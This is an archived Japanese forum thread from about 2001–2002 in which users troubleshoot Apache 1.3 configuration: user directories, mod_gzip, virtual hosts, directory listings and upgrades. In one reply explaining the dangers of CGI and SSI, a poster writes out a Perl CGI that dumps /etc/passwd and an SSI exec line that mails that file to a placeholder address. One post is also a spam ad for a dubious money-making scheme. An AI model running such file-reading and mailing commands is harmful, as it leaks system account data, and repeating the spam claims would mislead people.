Apacheの設定を教えてください
■ このスレッドは過去ログ倉庫に格納されています
00011 ◆e54OonTI
01/10/23 02:43ID:SIUGq6Fwユーザーのホームページが見れません。
環境は
Windows2000
Apache 1.3.22
です。
conf/httpd.conf
の
<IfModule mod_userdir.c>
UserDir "C:/home/hoge/Public_html"
</IfModule>
と指定して
http://サーバー名/~hoge/
と叩いても404エラーなんです。
ちゃんとindex.htmlは置いてますしhttpd.confもそこしかいじってません。
他にも指定すべきところはあるのでしょうか?
よろしくお願いします。
0409ほげ
02/03/16 04:12ID:???んで総スカン食らってくれ。
0410nobodyさん
02/03/16 13:42ID:Xs28rDpj本屋で見つけても、バージョンが古すぎたり、
基礎的なことしか書いてなかったりして、あまり役に立たないのばかりなので…
情報が新しくて、詳しく書かれている書籍を探してます。
0412nobodyさん
02/03/16 17:12ID:???http://httpd.apache.org/docs/
0413nobodyさん
02/03/16 18:32ID:GVqgTY9e<directory />に書けばいいのですか?
ScriptInterpreterSource registry
って書いたはいいけど、かんれんづけって?ゎヶゎヵらん。
0415413
02/03/16 20:21ID:bC5vfaAQ0416nobodyさん
02/03/16 20:55ID:???マニュアル読めや
ScriptInterpreterSource directive
Syntax: ScriptInterpreterSource registry|script
Default: ScriptInterpreterSource script
Context: directory, .htaccess
Status: core (Windows only)
This directive is used to control how Apache 1.3.5 and later finds the interpreter used to run CGI scripts.
The default technique is to use the interpreter pointed to by the #! line in the script. Setting ScriptInterpreterSource registry will cause the Windows Registry to be searched using the script file extension (e.g., .pl) as a search key.
0417nobodyさん
02/03/16 23:27ID:BsN9RFqbどのように記述すればよいか教えてください。
0420pct
02/03/19 05:02ID:Zho8NwOHOS winXPproという環境でmod_gzipを導入してみたんですが、logにて
In:- Out:-:-pct.と表示され、圧縮されていないようです。
httpd.confに記述したのは
LoadModule gzip_module modules/ApacheModuleGzip.dll
<IfModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_minimum_file_size 0
mod_gzip_maximum_file_size 0
mod_gzip_maximum_inmem_size 0
mod_gzip_keep_workfiles No
mod_gzip_temp_dir "c:\TEMP"
mod_gzip_item_include file \.html$
mod_gzip_item_include file \.jsp$
mod_gzip_item_include file \.php$
mod_gzip_item_include file \.pl$
mod_gzip_item_include mime ^text/.*
mod_gzip_item_include mime ^application/x-httpd-php
mod_gzip_item_include mime ^httpd/unix-directory$
mod_gzip_item_include handler ^perl-script$
mod_gzip_item_include handler ^server-status$
mod_gzip_item_include handler ^server-info$
mod_gzip_item_exclude file \.css$
mod_gzip_item_exclude file \.js$
mod_gzip_item_exclude mime ^image/.*
</IfModule>
起動時にエラーはでないんでミスはないと思いますが、、、。
どなたかご教授よろしくお願いいたします。
0422nobodyさん
02/03/19 14:11ID:ucjQbPAxどんなコンテンツを置いてるときに導入すべきなんですか?
0423nobodyさん
02/03/19 14:23ID:???jpeg画像とか圧縮済みのには効果薄いだろうから
大量のテキストとかかなぁ。
0424nobodyさん
02/03/19 16:43ID:ucjQbPAxありがとうございました。ということは、BBSとかチャットが主のサイトだと
導入の価値があるんですね。
もうひとつ質問させてください。
Apacheでファイル名に日本語を使えるようにはできないんでしょうか?
インデックスリストで表示したときには、ちゃんと日本語表示できているのですが、
ダウンロードしたり開いたりすると、ファイル名が文字化けしてしまってます。
googleで1年前のメーリングリストを見ると、無理だということなのですが
それから改善されたのか、もしくは対応策があるのでしょうか?
0425nobodyさん
02/03/19 23:38ID:eMvOA0XE0426nobodyさん
02/03/20 00:10ID:???この行だろ。
ここで指定した数値以上のサイズのファイルは圧縮されないよ。
0427nobodyさん
02/03/20 01:51ID:???>それから改善されたのか、もしくは対応策があるのでしょうか?
多分されてない。つか日本語表示のメリットって何?
>>425
TOMCATのどんな設定よ?要点絞ってけろ。
取りあえず参考ページ
Win2000 http://homepage2.nifty.com/ders_soft/tomcat01.html
RedHat http://www.itnavi.com/apaTomcat4.htm
Google http://www.google.co.jp/search?q=TOMCAT+%83C%83%93%83X%83g%81%5B%83%8B%83%81%83%82&ie=Shift_JIS&oe=Shift_JIS&hl=ja&lr=
0428nobodyさん
02/03/20 02:41ID:CSq2khLRhttp://localhost/~username では見えません。
どうすれば、両方で見れるようになりますか?
0429nobodyさん
02/03/20 02:59ID:WWjQpoC10430nobodyさん
02/03/20 17:51ID:???0431nobodyさん
02/03/21 23:40ID:h1YBBiFDCGIやSSIは使えないようにしておくほうがいいって、
いろんなところに書いてますけど、これって何でですか?
韓国や中国の怪しいアクセスがきたときに危険だからでしょうか?
もしそうなら、
IP直打ちのときに繋がるバーチャルホストを立てておいて
そこでだけCGIとか切っておけば、少しは対策になりますか?
0432nobodyさん
02/03/22 00:44ID:???cgiで
#!/usr/bin/perl
$fname="/etc/passwd";
$data=`cat $fname`;
print $data;
とかやられてみろ。
ssiで
<!--exec cmd="cat /etc/passwd|mail foo@bar" -->
とか書かれてみろ。
0433nobodyさん
02/03/22 00:50ID:9v5I2fshInternalServerErrorになるんだけど、
それって何が起きるの??
0434nobodyさん
02/03/22 01:33ID:???0435nobodyおっさん
02/03/22 08:44ID:???あなたのマシンにはなんら影響ないのでご安心あれ!
0437nobodyさん
02/03/22 11:11ID:???0438nobodyさん
02/03/22 12:05ID:???ちゃんと日本語を使えるようにするには、<a href="ほげ.html> とリンクしたときの
「ほげ.html」の URL の文字コードはSJIS/EUC/JIS/UTF8 のどれを使うのかという
取り決めをまず決めなければならない。これはapacheの技術的な問題ではなくて、
IISも同じにしなければいけないし、その文字コードに変換してから
サーバにリクエストするようにブラウザ側も対処しなければならない。
日本語対応が不十分なのではなく、どうすればいいのかというルールがないので
対応のしようがないということ。使いたければまずルールを作る必要がある。
今不完全ながらも日本語が使えてるとしたら、たまたま運がよくてそうなってるだけ。
0439nobodyさん
02/03/22 12:42ID:???0440nobodyさん
02/03/22 15:09ID:Z97stgN31.3.23 までのバージョンには Win32 ではセキュリティ上の問題がありますので、1.3.24 へバージョンアップするようにしてください
0442nobodyさん
02/03/22 16:51ID:???0443nobodyさん
02/03/22 17:04ID:???0444nobodyさん
02/03/22 18:03ID:???ちゃんと動くけど・・・
0445名無しさん@Emacs
02/03/22 20:02ID:???↓これ見るとアップデートしない方が恐くないか?
http://memo.st.ryukoku.ac.jp/archive/200203.month/3359.html
0447444
02/03/23 02:52ID:???これないとちょっと困るな。
0448nobodyさん
02/03/23 04:52ID:???今後ずっと、バージョンが上がるたびに?
(Apache始めてまだ1週間たってない初心者です)
0449名無しさん@Emacs
02/03/23 11:34ID:???まだ1.3.24は見てないけど、意味の変わった設定項目があったりしなければ
そのまま使って問題ないはず。
>>444
http response header から消えたということであれば、
ServerTokens ディレクティブを確認すべし。
http://httpd.apache.org/docs/mod/core.html#servertokens
0451nobodyさん
02/03/23 21:54ID:???「とほほのWWW入門」などにある簡単なSSIは動くんですけど、
CGI配布サイトのカウンターがまったく使えません。
リンクを張ってるファイル(SHTMLとか)を開けなくて、
アクセスしたあとにそのファイルを消そうと思ったら、
「共有違反」と出てしまい、再起動しないと消せません。
httpd.confの設定がおかしいのでしょうか?
どうすれば解決するのか、教えていただけないでしょうか?
0452nobodyさん
02/03/23 22:00ID:U4BRiWdd0453451
02/03/23 23:09ID:U4BRiWddでも、これが使えないということは、配布されてるSSIを使うカウンターは
ほとんど使用できないと思うんですけど、
Win+Apacheでサーバを立ててる人は、SSIは使ってないんでしょうか?
0456nobodyさん
02/03/23 23:48ID:53Fg0U/S0,30 * * * * /home/sites/www.hoge.com/web/hoge/send.cgi
という設定で大丈夫そうでしょうか?cobaltサーバーです。
小心者なのでなかなか試せずにいます。
0457448
02/03/24 00:32ID:eZjkdEqTレスありがと。
Ver1.3.24をインストして前(1.3.23)のhttpd.confを上書きすればいいってこと?
0458名無しさん@Emacs
02/03/24 00:53ID:???>>456 板違い。とりあえず、send.cgi > /dev/null 2>&1 としておいた方がいいかと。
0459顔も名前も出さずに毎月100万円
02/03/24 01:04ID:NXQRuNy9Future-Web(フューチャーウェブ)登場
なんと10,000円単位の収入
●10,000円単位の高収入
1件につき最大10、000円の高額収入。月収100万円以上も可能。
●画期的なビジネス!
インターネットを利用したこれまでにない斬新で画期的なビジネスです。
●誰でも出来ます!
インターネットが出来る環境の方なら誰でも参加可能です。
●専門的な知識は一切不要!
ビジネスに必要なツールはすべて当社で用意いたします。また、サポ
ートも万全です。
●詳細は今すぐHPをご覧ください。
http://www.future-web.tv/7823/
0460456
02/03/24 01:11ID:AdQSWXTjとりあえず試してみます。ありがとうございます。
0461nobodyさん
02/03/24 01:26ID:OaGYLFmK同じフォルダにインストールすればhttpd.confが自動で継承されたような
0463nobodyさん
02/03/24 18:45ID:???Winの場合、
exec cmdが使えないバージョンと使えるバージョンがあるらしい。
バージョンが新しかったら使えるというわけでもないらしい。
どこで読んだか忘れたので、ソースは出せないけど。。。
0464nobodyさん
02/03/24 22:11ID:0Hn7njaVApache1.3.23(Win32)@WinXPで名前ベースのVirtualHostの設定をしているのですが、
>225さんと同じような設定をしているのですが、エラーが出てApacheが起動しません。
エラーログには同じアドレスとポートではバインドできんと出てますが、
(9)Bad file descriptor: make_sock: could not bind to address aa.bb.cc.dd port 80
もちろん、別のアプリケーションが80番を使っているということはないです。
設定ファイルは>225さんと一緒なのですが一応、
###
NameVirtualHost *
#
<VirtualHost *>
ServerName hoge.homeip.net
DocumentRoot "E:/web/hoge"
</VirtualHost>
#
<VirtualHost *>
ServerName hogehoge.homeip.net
DocumentRoot "E:/web/hogehoge"
</VirtualHost>
###
としています。
環境はADSLのブロードバンドルータで、ルータにグローバルアドレスが振られて、
サーバにはプライベートアドレス192.168.1.xが振られてNATしている状況です。
これで何か分かりますか?
0465nobodyさん
02/03/24 23:48ID:???ホントかよ、と思って調べたらホントだった:-)
http://mm.apache.or.jp/pipermail/newbie/2001-June/000996.html
http://mm.apache.or.jp/pipermail/apache-users/2001-May.txt
http://mtlab.ecn.fpu.ac.jp/Webcon_archive/980828212233.html
http://www.mindgear.org/zons_lab/ApacheServer.html
0467nobodyさん
02/03/25 12:54ID:???ファイル名が途中で切れてしまいます。ぜんぶ見せるには
どうすればいいのでしたっけ?
0468nobodyさん
02/03/25 13:46ID:???http://localhost/manual/apache/mod/mod_autoindex.html#indexoptions
0469464
02/03/25 16:22ID:???もちろん両方とも登録してあります。nslookupでも引けます。
でも両方ともルータに振られたIP宛てにリクエストが来て、
そこからローカルアドレスのPCにNAT変換して届くので、
もしかしたら、ドメイン宛てのリクエストで届いてないのかなとも思ってます。
うーん、よくわからん...
0471nobodyさん
02/03/25 18:12ID:???ありがとうございます。RTFMの精神を忘れてました。
で、やってみたのですがうまくいきません。
<IfModule mod_autoindex.c>のIndexOptionsにDescriptionWidth=*を追加
したけどうまくいかないので
<Directory "H:/www/public_html/hoge">
IndexOptions descriptionwidth=*
</Directory>
など追加したりしてるんですがやっぱりうまくいきません。
申し遅れましたがApache1.3.23 for win32@Windows2000です。
もう少しヒントをいただければ助かります。
0472nobodyさん
02/03/25 18:26ID:L6R1WjQi「別の製品がインストールされています。アンインストしろ。」
って言われるんだけど。
言われるままに1.3.23アンインストしちゃっていいの?
設定はとかは残るの?
0473nobodyさん
02/03/25 18:57ID:???httpd.confなどを他のところにコピーしてから
1.3.23アンインスト&1.3.24インスト。
そのままアンインスト&インストしても、
確かconfファイルは受け継がれたはずだけど、
コピーしといたほうが無難。
で、インストしたらまたconfフォルダにコピーしなおす。
0475464
02/03/25 20:16ID:???これがまた、Win32版Apacheなので、apachectlコマンドがないんですわ。
変わりにあるコンフィグテストコマンドの結果は以下の通り。
C:\Program Files\Apache Group\Apache>apache.exe -w -t -f ./conf/httpd.conf
c:/program files/apache group/apache/conf/httpd.conf: Syntax OK
Note the errors or messages above, and press the <ESC> key to exit. 16...
文法的にはOKと出てますが...
0478464
02/03/25 21:36ID:???すまん、自己解決しました。
VirtualHostの最初のドメイン名とメインサーバのドメイン名が被ってました。
ServerName hoge.homeip.net としているのに、
VirtualHostのServerNameもhoge.homeip.net...
これでerror.logの意味も分かりました。
レスくれた人ありがとうございました。
0479471
02/03/25 21:42ID:???なるほど、と思いやってみましたがだめでした。
ためしに
IndexOptions FancyIndexing SuppressLastModified
とするとちゃんとLastModifiedが消えるので、IndexOptionsがまったく
効かないとかいうことではないみたいです。
FancyIndexingを外せば望みどおりファイル名がぜんぶ表示されますが、
サイズやLastModifiedも表示されなくなってしまうのであまりにもさびしー
画面になってしまいますし。。
ほかにチェックすべき項目ありますでしょうか?
0480471
02/03/25 21:46ID:???あう、いろいろ実験してたもんで、リロードせずに書き込んでしまいました。
おっしゃるとおりファイル名はNameですよね。。たったいま確認しました。
超はずかしいです、感謝しながら逝ってきます!
0481H鯖缶
02/03/26 00:36ID:FAti/YRYトップページへのアクセス1日12000前後、リクエスト総数1日50万前後、トラフィックは日平均1Mbps最大2.5Mbpsです。
鯖はRedHat7.0、Pen3-700MHz、メモリ256MBで、CPU使用率はほぼ5%未満です。
いままで極めて快調に稼動してきたのですが、バナー広告の減少で維持が難しくなってきたので、レンタル鯖会社を解約し、
自宅のWindowsマシンにapacheを導入して運用しようと考えております。
しかし、Win32版のapacheはUNIX版と比べパフォーマンスがかなり劣ると聞きました。
果たしてWin32版のapacheで運営できそうなものかお尋ねしたい斧です。
自宅鯖の環境は、WindowsXP-pro、Pen4-1.4GHz、メモリ768MB、HDD480GB、回線はBフレッツベーシック実測上り
25Mbpsです。固定IPではないですがDynDNSなどのDymamicDNSサービスを検討しています。
0482nobodyさん
02/03/26 00:40ID:???0484481
02/03/26 01:05ID:???0485nobodyさん
02/03/26 01:05ID:???ttp://www.bekkoame.ne.jp/~bero/apache-mmap.html
0486nobodyさん
02/03/26 01:07ID:???他のDymamicDNS探せばいいんじゃない。この話題行き過ぎるとスレ違いになるけど。
俺はそこまでの大きいサイトをやっと事がないので、何ともいえないけど試しに運用してみてはどう?
0488nobodyさん
02/03/26 01:13ID:???超絶的にスレ違いな漏れをお許し下さい。
>>484
ぷららのダイナミックDNS
ttp://www.plala.or.jp/access/guest/bflets/
0489nobodyさん
02/03/26 02:00ID:???レンタル鯖 http://pc.2ch.net/perl/ の自宅サーバースレで聞いてね。
0491nobodyさん
02/03/28 13:52ID:2B3AzxTp~userではないべつの名前で表示することは出来ないでしょうか?
http://www.hogehoge/~onamae/ を
http://www.hogehoge/user/onamae/ にするような方法
0492よくわからないけれど
02/03/28 14:16ID:???AliasMatch ^/user/([^/]*)(.*) /home/$1/public_html$2
0493491
02/03/28 14:27ID:???AliasMatchでしたか(・∀・)
ありがとうございました試してみます。m(_ _)m
0494491
02/03/28 14:37ID:???うまくいきました(・∀・)ノ
ありがとうございましたm(_ _)m
0495491
02/03/28 18:45ID:???うまくいったと思ったら
http://www.hogehoge/user/ ←ここにおいたファイルを見れなくなった(´д`;)
うまい方法はないですかね・・(´д`;)
0496nobodyさん
02/03/28 19:17ID:???0497491
02/03/28 19:24ID:???そうすると 先に指定していたAliasMatchが
うまくいかない(´д`;)
あちらをたてればこちらがたたず・・・
0498nobodyさん
02/03/28 21:34ID:LEl4a5BOその中にbbsとbbs2いうディレクトリを作って掲示板2個と
chatというディレクトリも作ってチャットを設置してるんだけど
セキュリティ的にまずいの?
ルートにwwwとcgi-binってのを作ったりして別々にした方がいいの?
0499nobodyさん
02/03/30 22:24ID:???WinでApacheでエロサイトやってるけど、定期的にアパッチの再起動せにゃならんよ。
タスクマネージャ見ると分かるんだけど、初めは10MBぐらいだったのが、段々と50MBにも肥大するんだよ。
Winの方はあんまりメモリリークしてないんだけどね。
だから月に一度は再起動せにゃならん。めんどくさいからBフレッツにしたら
FreeBSD+Apacheで稼働させるつもりだよ。現に、今テスト稼働してるけど、まったりと安定してる。
0500nobodyさん
02/03/31 04:33ID:mCl8tMtr下のサイトではProxyViaをBlockにしたら解決すると書いてあるが変わらない。
http://www19.cds.ne.jp/~shiraisi/pc_unix/proxy.html
0501nobodyさん
02/03/31 09:41ID:???0502nobodyさん
02/03/31 10:43ID:???0503nobodyさん
02/03/31 10:44ID:???0504nobodyさん
02/04/01 16:53ID:6EUnmj5K↑を動かし掲示板を作成しアクセスするとエラーがでます
[Mon Apr 01 16:16:37 2002] [error] [client 127.0.0.1] d:/apache/cgi-bin/16/toei/index2.html is not executable; ensure interpreted scripts have "#!" first line
[Mon Apr 01 16:16:37 2002] [error] [client 127.0.0.1] couldn't spawn child process: d:/apache/cgi-bin/16/toei/index2.html
どうしたら動かせますか?
0506nobodyさん
02/04/01 17:50ID:???0507nobodyさん
02/04/01 17:50ID:???0509nobodyさん
02/04/01 23:04ID:660Fxwqo■ このスレッドは過去ログ倉庫に格納されています